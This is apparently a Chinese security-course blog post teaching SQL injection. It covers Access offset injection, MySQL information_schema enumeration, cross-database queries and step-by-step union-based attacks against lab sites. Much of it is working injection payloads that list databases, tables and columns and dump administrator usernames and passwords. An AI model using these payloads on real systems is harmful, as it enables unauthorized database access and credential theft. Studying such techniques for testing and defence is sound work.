day24 SQL注入&MYSQL跨库&ACCESS偏移

前言:

#知识点:

1、脚本代码与数据库前置知识

2、Access数据库注入-简易&偏移

3、MYSQL数据库注入-简易&权限跨库

#前置知识:

-SQL注入漏洞产生原理分析

-SQL注入漏洞危害利用分析

-脚本代码与数据库操作流程

-数据库名,表名,列名,数据

-数据库类型,数据库用户,用户权限

什么是sql注入?

脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的SQL语句进行执行查询数据时。其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,如管理员帐号密码)。这一个过程就可以叫做SQL注入漏洞。

sql注入的产生原理:

漏洞产生根本条件:可控变量 特定函数

http://192.168.46.160:85/Production/PRODUCT.asp

http://192.168.46.160:85/Production/PRODUCT.asp?id=1513

如果下面的URL地址测试注入判断id有注入,手工测试该如何进行?

http://192.168.46.160:85/Production/PRODUCT.asp?id=1513&page=1

http://192.168.46.160:85/Production/PRODUCT.asp?page=1&id=1513

Production/PRODUCT.asp?id=1513 注入语句&page=1 对

Production/PRODUCT.asp?id=1513&page=1 注入语句 错

SQL注入攻击流程:

1、猜测数据库类型

2、根据类型选择思路

简要了解各数据库

Access,Mysql,mssql(Microsoft SQL server),mongoDB,postgresql,sqlite,oracle,sybase等

Access

        表名

                列名

                        数据

Access数据库保存在网站源码下面,自己

网站数据库独立存在,所以无法进行跨库,也没有文件读写的操作。

除了Access其他数据库组成架构基本都是大同小异。

ACCESS 独立存在

数据库名

表名

列名

数据

MYSQL 统一管理

最高数据库用户=root用户

数据库A=网站A=数据库用户A

表名

列名

数据

数据库B=网站B=数据库用户B

数据库C=网站C=数据库用户C

每个数据库功能不同,我们采取注入的时候攻入方式不同

什么决定网站注入点用户权限?

数据库配置文件的用户,是谁连接的   

ASP+Access-简易注入-字典猜解

ASP+Access-偏移注入-报错显示

如果遇到列名猜解不到的情况,则可以使用Access偏移注入

原理

借用数据库的自连接查询让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示

用途

解决知道Access数据库中知道表名,但是得不到字段的sql注入困境

特点

a. 成功与否看技巧与运气,不能保证100%成功。

b. 无需管理员账号密码字段,直接爆账号密码

利用条件

a. 已知管理表名

b. 已知任意字段(一个或多个会增加机率,最常见的就是id)

影响偏移注入成功因素

a. 管理表的字段数越少越好(最好是三个:id  账号字段  密码字段)

b. 当前注入点的脚本内查询的表内的字段数越多越好

流程

a. 判断字段数

b. 判断表名

c. 开始偏移注入

本地Access偏移注入靶场

偏移量就是逐步增加或递减,直到出现结果。*表示可代替的字符串,用*代替22,返回界面依旧报错,然后用*代替21,依次递减。22-16=6,6表示该表中的列名个数。

*代表6个,后面一串字符代表两倍,就相当于2倍*,12个

爆列名数据

一级偏移语句:union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

二级偏移语句:union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

二级偏移,3倍*,所以为18个

查看登录框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况

猜解表名可能是ZB_admin,观察网站地址特征,是否有前缀。

或者看登录框表单值

PHP+MYSQL-简易注入-存储特性

为了网站和数据库的安全性,MYSQL内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。

MYSQL两种思路:

  1. 非ROOT的注入攻击:常规类的猜解
  2. ROOT用户的注入攻击:文件读写操作,跨库查询注入等

黑盒测试中可以采用user()获取当前用户权限,白盒中看连接用户即可!

MYSQL5.0以上版本:自带的数据库名information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库

information_schema.tables:记录表名信息的表

information_schema.columns:记录列名信息表

information_schema.tables

获取相关数据:

1、数据库版本-看是否符合information_schema查询-version()

2、数据库用户-看是否符合ROOT型注入攻击-user()

3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

ROOT类型攻击-猜解数据,文件读写,跨库查询

获取syguestbook数据库下面的表名信息:

UNION SELECT table_name,2,3,4,5 from information_schema.tables where table_schema='syguestbook'

获取表名sy_adminuser的列名信息:

UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='sy_adminuser' and table_schema='syguestbook' //后面的and是为了防止有一样名字的表。

获取指定数据:

UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser


group_concat();作用是将数据拼接到一行。

跨库注入:实现当前网站跨库查询其他数据库对应网站的数据

获取当前mysql下的所有数据库名

UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata

获取数据库名xhcms下的表名信息

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='xhcms'

获取数据库名xhcms下的表manage下的列名信息:

UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='manage' and table_schema='xhcms'

获取指定数据:

UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage

SQL注入利用

  1. 根据注入位置数据类型将sql注入分类
  2. 利用order判断字段数

order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错

?id=1' order by 3--+

  1. 利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数

?id=-1 union select 1,2,3 --+

  1. 利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号

?id=-1 union select 1,database(),version() --+

  1. 利用 union select 联合查询,获取表名    

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+

  1. 利用 union select 联合查询,获取字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+

  1. 利用 union select 联合查询,获取字段值

?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+

PHP+MYSQL-跨库注入-权限属性

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

匿名用户0x3c

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值